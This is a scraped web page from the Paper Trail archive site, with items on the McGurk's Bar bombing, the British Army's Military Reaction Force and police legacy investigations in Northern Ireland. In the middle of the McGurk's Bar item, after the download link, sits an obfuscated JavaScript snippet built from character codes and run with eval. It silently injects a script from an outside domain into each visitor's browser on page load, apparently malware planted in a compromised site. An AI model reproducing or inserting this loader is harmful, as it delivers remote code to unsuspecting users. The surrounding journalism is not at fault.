Paper Trail Pro

Time for Truth Campaign National Day of Action

The families of the Time for Truth Campaign mobilized for a National Day of Action against Britain\'s amnesty proposals.

Podcast 8: Gerry Fitt – Snake in the Grass?

In this Paper Trail Pro Podcast, Ciarán MacAirt discovers some of Westminster\'s dirty secrets and asks was Gerry Fitt a Snake in the Grass?

The McGurk’s Bar Bombing: Post-Script

The McGurk’s Bar Bombing: Post-Script is our latest publication. The McGurk’s Bar Bombing: Post-Script features new evidence discovered by Paper Trail manager Ciaran MacAirt whose grandparents were two of the many victims of the atrocity. It is FREE to download. Post-Script features new evidence either missed or buried by historical investigations of the Office of the Police Ombudsman and Police Service Northern Ireland. Among critical new information published in The McGurk’s Bar Bombing: Post-Script, is proof that there was a covert British Army operation in place on the night of the explosion near McGurk’s Bar and the British Army recorded the escape of the suspect car minutes afterwards. Furthermore, there is final proof that the British state’s lies, which blamed the victims for the Massacre, began with collusion between the police and the British Army Commander in charge of Belfast who is still alive. His name is General Sir Frank Kitson. Download The McGurk\'s Bar Bombing: Post-Script  var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);

Secret British MoD Files Record MRF’s Failure to Protect Freds

Archive Release: Secret British Ministry of Defence files records the failure of the Military Reaction Force to protect its Freds. Secret British Ministry of Defence (MoD) files discovered by the charity, Paper Trail, document the British state’s failure to protect its own soldiers and agents (or \"Freds\") in its covert, extra-legal military unit, the Military Reaction Force, in 1972. The Irish Republican Army (IRA) killed and badly injured a number of British soldiers and “turned” paramilitaries within its own ranks when it uncovered a number of MRF intelligence-gathering operations in 1972. Two of those killed in October 1972, Seamus Wright and Kevin McKee, were also “disappeared” and their bodies not recovered from a shallow grave until 2015. Failure to Protect The files also record the British Army’s failure to protect its own soldiers and agents. In the first discovery of its kind, the secret British Ministry of Defence and Army files name Wright and McKee as MRF agents (or “Freds” as the British military called turned paramilitaries) and give details of their history as agents. Read the archive here... A file records that the British Armed Forces paid Wright a total of £285 before being “discharged as unsatisfactory” and taken to Birmingham, England, on 29th March 1972. It also records that McKee “took part in the Four Square Laundry Operation” which was one of the MRF’s infamous intelligence-gathering operations. The MRF ran a laundry collection and delivery service which operated across Belfast but allowed British military intelligence to target homes and test clothes for bomb residue and to photograph suspects in Irish, Catholic areas. The previously undisclosed record of the MRF agents alleges that Kevin McKee “escaped from protective custody” on 6th September 1972 and was: “almost certainly responsible for ‘blowing’ the Laundry operation to the IRA: may have been personally involved in the murder of Sapper Stuart on 2nd October [1972]” Sapper Ted Stuart was a British soldier from the north of Ireland who was working with the MRF and acting as a driver of the Four Square Laundry van when the IRA attacked and killed him in West Belfast. Military Reaction Force: (from left) Freds Kevin McKee and Seamus Wright, and Sapper Ted Stuart If McKee escaped from protective custody in early September and was involved in the Four Square Laundry, the British Army should have considered that its intelligence-gathering operation was compromised and its soldiers in grave danger. The IRA killed Sapper Stuart a full four weeks later. Sacrificed The reasons why the British Army would seriously compromise the safety of its own soldiers and Freds are given in other secret British MoD files discovered by Paper Trail and made available to the legal representatives of Sapper Stuart: (1) The Four Square Laundry Operation was such a successful intelligence-gathering operation; (2) The British Army did not have sufficient policies and procedures in place to manage its agents and protect these sources or the British soldiers working with them. Archival Evidence (1) (1) A British Army Situation Report (Sitrep) to the Office of the Prime Minister on October 1972 records the importance of the Four Square Laundry Operation: “This patrol was part of the most successful intelligence gathering operation which had, over the past few months, provided information which had been responsible for… over 30% of the arrests of Provisional IRA officers in the Andersonstown area.” In a high-level meeting between MoD and Northern Ireland Office (NIO) officials with the British Prime Minister’s Office 2 days after the killing of Sapper Stuart (file dated 4th October 1972) discussed: “The shooting of the ‘laundryman’ on the Twinbrook estate in Belfast on Monday has aroused much interest in the Press. Civilian patrols bring in much useful information and should be continued. The Army has made a statement,

Police Failure To Investigate MRF Shootings

Paper Trail published proof from secret British archives that the MRF was guilty of a catalogue of murders and attempted murders of civilians in Belfast 1972. The report followed the failure of the Police Service of Northern Ireland’s (PSNI) Legacy Investigation Branch (LIB) to arrest or convict British Army soldiers in the killer gang, the Military Reaction Force (MRF). This is despite the LIB’s long-running Operation Everson, its investigation into the activities of the MRF, which began over 4 years ago. Paper Trail’s report, Shooters: Britain’s Military Reaction Force and Operation Everson, provides archival evidence for each of the incidents listed by the PSNI’s inquiry. The British military logs even provide the names of the MRF attackers in some of the incidents and names one Sergeant of the MRF in six of the shootings. Paper Trail and the surviving victims believe this Sergeant is connected to many more. The PSNI only sent a file to the Public Prosecution Service on 7th February 2020 after Paper Trail submitted the book of evidence to former Chief Constable Jon Boutcher’s Kenova team on 28th January 2020. The Kenova team is investigating the murder of single mother, Jean Smyth-Campbell, on June 8th 1972. Archives found by Paper Trail prove that the British Army claimed her shooting despite police blaming Republicans, and the MRF claimed a “hit” in the area. Jean Smyth-Campbell’s murder did not feature in PSNI’s Operation Everson despite the MRF claim that it shot someone that night. Jean’s family fought a historic battle in court against the PSNI and its failure to investigate the murder of Jean. In 2019, an Appeal Court in Belfast ruled that the PSNI’s Legacy Investigation Branch was not “practically independent” and could not offer an investigation sufficiently compliant with Article 2 of the European Convention on Human Rights. As a remedy, the investigation passed to Jon Boutcher’s Kenova team. Many other families, including those impacted by the MRF shootings, also believe that the PSNI and its LIB team are not independent and should not investigate legacy cases. In February 2020, Paper Trail asked Police Service Northern Ireland via the Freedom of Information Act: 1. How many man/woman hours have been spent investigating this list of cases since the launch of the inquiry up until the present day (12th February 2020); 2. How much money has been spent on Operation Everson up until the present day PSNI replied [1]: \"The Record Owner within the PSNI has advised there is no formal record of the number of hours any individual works on any given case and additionally, the cost of the investigation is not recorded; this is because duty time on our system is not specific to any operation.\" So, we do not know how many or how few man/woman hours have been spent; or how much money this failed investigation has cost the public. Speaking to reporter, Patricia Devlin [2], Pádraig Ó Muirigh of Ó Muirigh Solicitors, which represents many of the families, said: \"[Paper Trail\'s] report has shed further light in relation to the role of the british Army during the conflict in the north of Ireland and in particular the unlawful actions of this undercover Army unit which included civilian assassinations... It is a damning indictment of policy in the north of Ireland over the course of the conflict.\" Paper Trail’s Ciarán MacAirt said: “Paper Trail’s evidence proved that the British Army’s secret terror gang, the MRF, shot at least seventeen unarmed civilians, killing two, in West Belfast in a few short months. Following the submission of our evidence to Jon Boutcher’s team, the PSNI passed a file to the PPS. Our families have little faith in the LIB’s willingness or ability to bring these MRF shooters to justice for a number of reasons: 1. The British military and police allowed this British Army gang to operate and shoot civilians 2. The British military and police covered up for th...